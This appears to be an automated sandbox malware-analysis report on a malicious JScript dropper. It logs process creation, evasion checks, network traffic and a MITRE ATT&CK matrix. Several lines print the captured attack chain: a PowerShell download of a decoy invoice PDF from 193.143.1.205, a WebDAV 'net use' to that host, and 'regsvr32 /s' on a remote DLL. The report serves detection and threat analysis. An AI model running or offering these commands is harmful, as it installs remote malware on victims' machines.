Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\5299.js.csv");ITextStream.WriteLine(" entry:7938 f:mmrtloeia");ITextStream.WriteLine(" exec:2 f:mmrtloeia");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49736

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4248			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5515			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5308	Thread sleep count: 4248 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5308	Thread sleep count: 5515 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2896	Thread sleep time: -13835058055282155s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1524	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 400	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2976	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 2612	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 4416	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: svchost.exe, 00000009.00000002.3470178892.000001A36542B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWPP
Source: net.exe, 00000007.00000002.2248297429.000001BAA6C97000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWW
Source: net.exe, 00000007.00000002.2248297429.000001BAA6C38000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2248297429.000001BAA6C97000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3471739216.000001A36AA54000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25423122431748.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25423122431748.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25423122431748.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25423122431748.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25423122431748.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
